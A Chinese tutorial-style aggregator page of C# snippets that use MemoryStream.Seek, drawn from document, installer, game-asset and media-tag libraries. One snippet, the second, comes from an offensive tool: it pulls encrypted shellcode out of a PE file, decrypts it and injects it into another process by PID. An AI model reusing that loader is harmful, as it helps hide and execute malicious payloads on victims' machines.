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C# MemoryStream.Seek的代码示例

通过代码示例来学习C# MemoryStream.Seek方法

通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境，使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例，初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践，通过学习和模仿这些实例，学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说，是一种快速提升编程水平的有效途径。


MemoryStream.Seek是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例，源码中的MemoryStream.Seek() 已经帮大家高亮显示了，大家可以重点学习MemoryStream.Seek() 方法的写法，从而快速掌握该方法的应用。

MemoryStream.Seek的代码示例1 - InternalCopy()

    using System.IO;













    #endregion

    #region Internal Methods

    protected internal override Xceed.Document.NET.Document InternalCopy( bool closePackage = false )
    {
      try
      {
        var initialDoc = this;
        if( this.IsPackageClosed( _package ) )
        {
          initialDoc = DocX.ReloadDocumentFromFileName( this ) as DocX;
        }

        initialDoc._canClosePackage = closePackage;

        initialDoc._isCopyingDocument = true;
        var memorystream = new MemoryStream();
        initialDoc.SaveAs( memorystream );
        initialDoc._isCopyingDocument = false;

        initialDoc._canClosePackage = true;

        memorystream.Seek( 0, SeekOrigin.Begin );
        var doc = DocX.Load( memorystream );
        doc.SetFileName( initialDoc._filename );

        return doc;
      }
      catch( Exception )
      {
        throw new InvalidOperationException( "The copy of the document could not be done." );
      }
    }
    

开发者ID:xceedsoftware，项目名称:DocX，代码行数:48，代码来源:DocX.cs

在InternalCopy()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例2 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
    

开发者ID:med0x2e，项目名称:SigFlip，代码行数:56，代码来源:Program.cs

在Main()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例3 - GetEmbeddedBitmap()

    using System.IO;

        /// 

        /// Extracts the bitmap embedded into MSI (into Binary table).
        /// 
        /// The session.
        /// The name on resource in the Binary table.
        /// 
        public static Bitmap GetEmbeddedBitmap(this Session session, string binary)
        {
            try
            {
                using (var sql = session.Database.OpenView("select Data from Binary where Name = '" + binary + "'"))
                {
                    sql.Execute();

                    using (var record = sql.Fetch())
                    using (var stream = record.GetStream(1))
                    using (var ms = new IO.MemoryStream())
                    {
                        int Length = 256;
                        var buffer = new Byte[Length];
                        int bytesRead = stream.Read(buffer, 0, Length);
                        while (bytesRead > 0)
                        {
                            ms.Write(buffer, 0, bytesRead);
                            bytesRead = stream.Read(buffer, 0, Length);
                        }
                        ms.Seek(0, IO.SeekOrigin.Begin);

                        return (Bitmap)Bitmap.FromStream(ms);
                    }
                }
            }
            catch { }
            return null;
        }
    

开发者ID:oleg-shilo，项目名称:wixsharp，代码行数:37，代码来源:Extensions.cs

在GetEmbeddedBitmap()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例4 - ReadShaderParams()

            public static void ReadShaderParams(this FMAT m, Material mat)
        {
            m.matparam.Clear();

            if (mat.ShaderParamData == null)
                return;

            using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData)))
            {
                reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian;
                foreach (ShaderParam param in mat.ShaderParams)
                {
                    BfresShaderParam shaderParam = new BfresShaderParam();
                    shaderParam.Type = param.Type;
                    shaderParam.Name = param.Name;
                    shaderParam.DependedIndex = param.DependedIndex;
                    shaderParam.DependIndex = param.DependIndex;

                    reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin);
                    shaderParam.ReadValue(reader, (int)param.DataSize);

                    m.matparam.Add(param.Name, shaderParam);
                }
                reader.Close();
            }
        }
    

开发者ID:KillzXGaming，项目名称:Switch-Toolbox，代码行数:26，代码来源:BfresSwitch.cs

在ReadShaderParams()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例5 - ReadShaderParams()

    using System.IO;
        public static void ReadShaderParams(this FMAT m, Material mat)
        {
            m.matparam.Clear();

            if (mat.ShaderParamData == null)
                return;

            using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData)))
            {
                reader.ByteOrder = Syroot.BinaryData.ByteOrder.BigEndian;
                foreach (ShaderParam param in mat.ShaderParams.Values)
                {
                    BfresShaderParam shaderParam = new BfresShaderParam();
                    shaderParam.Type = shaderParam.GetTypeWiiU(param.Type);
                    shaderParam.Name = param.Name;
                    shaderParam.HasPadding = param.UsePadding;
                    shaderParam.PaddingLength = param.PaddingLength;
                    shaderParam.DependedIndex = param.DependedIndex;
                    shaderParam.DependIndex = param.DependIndex;

                    reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin);
                    shaderParam.ReadValue(reader, (int)param.DataSize);

                    m.matparam.Add(param.Name, shaderParam);
                }
                reader.Close();
            }
        }
    

开发者ID:KillzXGaming，项目名称:Switch-Toolbox，代码行数:29，代码来源:BfresWiiU.cs

在ReadShaderParams()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例6 - Read()

    using System.IO;

        public void Read(FileReader reader)
        {
            string Signature = reader.ReadString(8, Encoding.ASCII);
            if (Signature != "GFLXPACK")
                throw new Exception($"Invalid signature {Signature}! Expected GFLXPACK.");

            GFPAKHashCache.EnsureHashCache();

            version = reader.ReadInt32();
            uint padding = reader.ReadUInt32();
            uint FileCount = reader.ReadUInt32();
            FolderCount = reader.ReadInt32();
            ulong FileInfoOffset = reader.ReadUInt64();
            ulong hashArrayPathsOffset = reader.ReadUInt64();
            ulong FolderArrayOffset = reader.ReadUInt64();

            reader.Seek((long)FolderArrayOffset, SeekOrigin.Begin);

            List hashes = new List();

            List FolderFiles = new List();
            for (int i = 0; i < FolderCount; i++)
            {
                Folder folder = new Folder();
                folder.Read(reader);
                folders.Add(folder);

                foreach (var hash in folder.hashes)
                    FolderFiles.Add(hash);
            }

            reader.Seek((long)hashArrayPathsOffset, SeekOrigin.Begin);
            for (int i = 0; i < FileCount; i++)
            {
                ulong hash = reader.ReadUInt64();
                hashes.Add(hash);
            }

            GeneratePokeStrings();

            reader.Seek((long)FileInfoOffset, SeekOrigin.Begin);
            for (int i = 0; i < FileCount; i++)
            {
                FileEntry fileEntry = new FileEntry(this);

                fileEntry.Read(reader);
                string Extension = FindMatch(fileEntry.FileData);
                if (Extension.EndsWith("gfbanmcfg") && version != 0x1000)
                {
                    GFBANMCFG cfg = new GFBANMCFG();
                    cfg.Load(new MemoryStream(fileEntry.FileData));
                    GenerateAnmCfgStrings(cfg);
                }

                files.Add(fileEntry);
            }

            for (int i = 0; i < FileCount; i++)
            {
                FileEntry fileEntry = files[i];

                for (int f = 0; f < FolderFiles.Count; f++)
                    if (FolderFiles[f].Index == i)
                        fileEntry.FolderHash = FolderFiles[f];

                var dir = fileEntry.FolderHash.Parent;

                fileEntry.FileName = GetString(hashes[i], fileEntry.FolderHash, fileEntry.FileData);
                fileEntry.FilePathHash = hashes[i];
            }

            GFPAKHashCache.WriteCache();
        }
    

开发者ID:KillzXGaming，项目名称:Switch-Toolbox，代码行数:75，代码来源:GFPAK.cs

在Read()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了3次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例7 - Inflate()

    using System.IO;

		static ByteVector Inflate (ByteVector data)
		{
			using (var out_stream = new MemoryStream ())
			using (var input = new MemoryStream (data.Data)) {
				input.Seek (2, SeekOrigin.Begin); // First 2 bytes are properties deflate does not need (or handle)
				using (var zipstream = new DeflateStream (input, CompressionMode.Decompress)) {
					//zipstream.CopyTo (out_stream); Cleaner with .NET 4
					byte[] buffer = new byte[1024];
					int written_bytes;

					while ((written_bytes = zipstream.Read (buffer, 0, 1024)) > 0)
						out_stream.Write (buffer, 0, written_bytes);

					return new ByteVector (out_stream.ToArray ());
				}
			}
		}
    

开发者ID:mono，项目名称:taglib-sharp，代码行数:19，代码来源:File.cs

在Inflate()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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MemoryStream.Seek的代码示例8 - ParseIFDEntry()

    using System.IO;

		#endregion

		/// 

		///    Try to parse the given IFD entry, used to discover format-specific entries.
		/// 
		/// 
		///    A  with the tag of the entry.
		/// 
		/// 
		///    A  with the type of the entry.
		/// 
		/// 
		///    A  with the data count of the entry.
		/// 
		/// 
		///    A  with the base offset which every offsets in the
		///    IFD are relative to.
		/// 
		/// 
		///    A  with the offset of the entry.
		/// 
		/// 
		///    A  with the given parameters, or null if none was parsed, after
		///    which the normal TIFF parsing is used.
		/// 
		protected override IFDEntry ParseIFDEntry (ushort tag, ushort type, uint count, long base_offset, uint offset)
		{
			if (tag == 0x002e && !seen_jpgfromraw) {
				// FIXME: JpgFromRaw

				file.Seek (base_offset + offset, SeekOrigin.Begin);
				var data = file.ReadBlock ((int)count);
				var mem_stream = new MemoryStream (data.Data);
				var res = new StreamJPGAbstraction (mem_stream);
				(file as File).JpgFromRaw = new Jpeg.File (res, ReadStyle.Average);

				seen_jpgfromraw = true;
				return null;
			}

			return base.ParseIFDEntry (tag, type, count, base_offset, offset);
		}
    

开发者ID:mono，项目名称:taglib-sharp，代码行数:44，代码来源:IFDReader.cs

在ParseIFDEntry()方法中，MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次， 见黄色背景高亮显示的地方，欢迎大家点赞

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